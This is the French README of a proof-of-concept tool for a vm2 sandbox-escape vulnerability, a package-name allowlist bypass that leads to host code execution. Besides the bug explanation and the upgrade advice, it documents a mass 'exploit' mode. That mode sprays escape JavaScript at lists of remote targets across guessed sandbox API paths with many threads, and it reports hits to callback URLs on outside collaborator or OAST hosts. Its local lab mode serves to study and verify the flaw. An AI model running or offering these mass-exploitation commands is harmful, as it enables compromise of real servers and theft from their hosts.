
PoC Python pour CVE-2026-100721 : détecte et exploite le contournement de la liste d'autorisation externe de NodeVM dans vm2 <3.12.2, permettant une évasion de sandbox et une RCE sur l'hôte via un lab local ou des cibles HTTP massives.
PoC Python 3 pour CVE-2026-100721 — vm2 (npm) avant 3.12.2 autorisation incorrecte dans le résolveur de modules externes NodeVM, conduisant à une évasion de sandbox et à une exécution de code côté hôte lorsqu'un JavaScript non fiable s'exécute dans un embedder mal configuré.
Page du PoC : https://pocbit.org/pocs/cve-2026-100721
vm2 est une bibliothèque Node.js largement utilisée pour exécuter du JavaScript non fiable dans une sandbox au sein du même processus Node. Les applications utilisent NodeVM avec des restrictions telles que :
require.builtin — quels modules de base le code invité peut charger (fs, child_process, …)require.external — une liste d'autorisation de noms de paquets npm (par exemple uniquement left-pad, lodash)require.resolve — résolveur personnalisé pointant vers un répertoire de plugins ou de dépendances contrôlé par l'hôtecontext: 'host' — paquets externes chargés via le vrai require() de l'hôte (courant pour la performance)Embedders typiques : plateformes de scripts utilisateur, exécuteurs low-code, places de marché de plugins, IDE en ligne, sandboxes d'automatisation, et microservices internes de « safe eval ».
CVE-2026-100721 est une autorisation incorrecte (CWE-863) dans la façon dont vm2 décide si un require("package-name") invité est autorisé.
Deux failles liées ont été corrigées au fil des versions de vm2 (même classe de bug — confusion de frontière nom / chemin) :
La pré-vérification de la liste d'autorisation construit un motif à partir d'entrées comme left-pad mais n'impose pas de frontière complète de nom de paquet. Le code invité peut demander evil-left-pad parce que la chaîne contient left-pad. Si ce paquet en collision existe sur un chemin accessible au résolveur personnalisé, vm2 le charge dans le contexte hôte. Le code du module de niveau supérieur s'exécute avant l'encapsulation sandbox → child_process, lecture de fichiers, secrets, etc.
lib/resolver-compat.js, corrigé dans 3.12.2)Lorsqu'un résolveur personnalisé est utilisé avec context: 'host', vm2 enregistre les répertoires autorisés à l'aide d'une expression régulière de préfixe sans séparateur de chemin / frontière de fin stricte. Un invité peut ensuite require() un chemin absolu vers un voisin non autorisé (par exemple .../node_modules/foo2/index.js alors que seul foo était autorisé). Le voisin passe isPathAllowedForModule et s'exécute dans le processus hôte.
Affecté : vm2 < 3.12.2 (CVE-2026-100721). Des correctifs liés aux collisions de noms ont également été intégrés dans 3.11.7.
Corrigé : Mettre à niveau vers vm2 ≥ 3.12.2 (et rester à jour).
| Métrique | Valeur |
|---|---|
| CVSS 3.1 | 9.0 Critique — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CVSS 4.0 | 9.5 Critique (Rapid7 / VulnCheck) |
| Auth | La chaîne d'exploitation commence généralement après une exécution de code à faible privilège dans la sandbox (PR:L dans l'avis) |
| Crédit | Tencent Xuanwu Lab XlabAI, Atuin engine, Guannan Wang et al. |
Le « RCE en une requête HTTP » à distance n'est pas universel. Les chaînes pratiques nécessitent :
require.external + souvent un require.resolve personnalisé.context: 'host' (ou chargement hôte équivalent) pour les externes.Lorsque ces conditions sont réunies, l'impact est une compromission complète du Node hôte — pas simplement un abus de sandbox invité.
| Mode | Comportement |
|---|---|
--lab | Exploit local faisant autorité : lab/ installe vm2 3.11.5, construit evil-left-pad, démontre POCBIT-100721-HOST_EXEC (reflète l'avis du fournisseur) |
check | Empreinte vm2 à distance (package.json, lockfiles, bundles JS), version < 3.12.2, --probe-exec optionnel contre les chemins d'API de sandbox courants |
exploit | POST capable de masse de JS de sonde de contournement de liste d'autorisation (evil-left-pad, noms en collision) vers des --exec-paths configurables ; marque exploited sur marqueur dans la réponse ou surface d'API sandbox + --callback-url |
| Mass bulk | --list targets.txt --mode exploit -j N → cve_2026_100721_exploit.jsonl + exploited.txt |
Champs JSONL PoCbit : pocbit, pocbit_catalog, pocbit_page sur chaque ligne.
CLI : bannière PoCbit verte/magenta, coloration [EXPLOIT] / [SENT] / [FAIL] / [HIT] (--no-color pour désactiver).
Important : Le mode exploit distant cible les exécuteurs de sandbox HTTP que vous configurez. Pour une vérification pure de bibliothèque, utilisez python poc.py --lab (nécessite Node.js + npm).
pip install -r requirements.txt
| Composant | Objectif |
|---|---|
| Python 3.9+ | Scanner / pilote de masse |
| Node.js + npm | --lab uniquement (recommandé pour comprendre la CVE) |
cd CVE-2026-100721
python poc.py --lab
Attendu sur vm2 vulnérable :
[+] require(evil-left-pad): POCBIT-100721-HOST_EXEC
[+] RESULT: VULNERABLE
python poc.py -u https://app.example.com --mode check
python poc.py -u https://app.example.com --mode check --probe-exec
python poc.py --list targets.example.txt --mode check -j 12 --probe-exec
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--exec-paths /api/run,/api/eval --code-field code
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--callback-url http://your-collaborator.example/cve-100721
python poc.py --list targets.txt --mode exploit \
--exec-paths /api/run,/api/sandbox/run \
--callback-url http://oast.example.com/hit -j 15
Script invité personnalisé :
python poc.py -u http://127.0.0.1:3000 --mode exploit --payload-file my_escape.js
Sorties :
cve_2026_100721_exploit.jsonl — JSON par cibleexploited.txt — cibles où un marqueur d'évasion, une surface de callback ou un hit d'API sandbox s'est produitLe pilote sonde les motifs courants (remplacer avec --exec-paths) :
/api/run, /api/eval, /api/execute, /api/sandbox/run, /api/vm/run, /api/code/run, /run, /execute, /eval, /api/v1/run, /api/playground/run, …
Champs de corps JSON essayés : code, script, source, javascript, js, payload, … (remplacer avec --code-field).
Le JS d'exploit intégré boucle sur des noms de paquets en collision tels que evil-left-pad (PoC de contournement de liste d'autorisation). Sur un embedder vulnérable qui héberge déjà le paquet en collision :
require("evil-left-pad"); // host top-level code runs → sandbox escape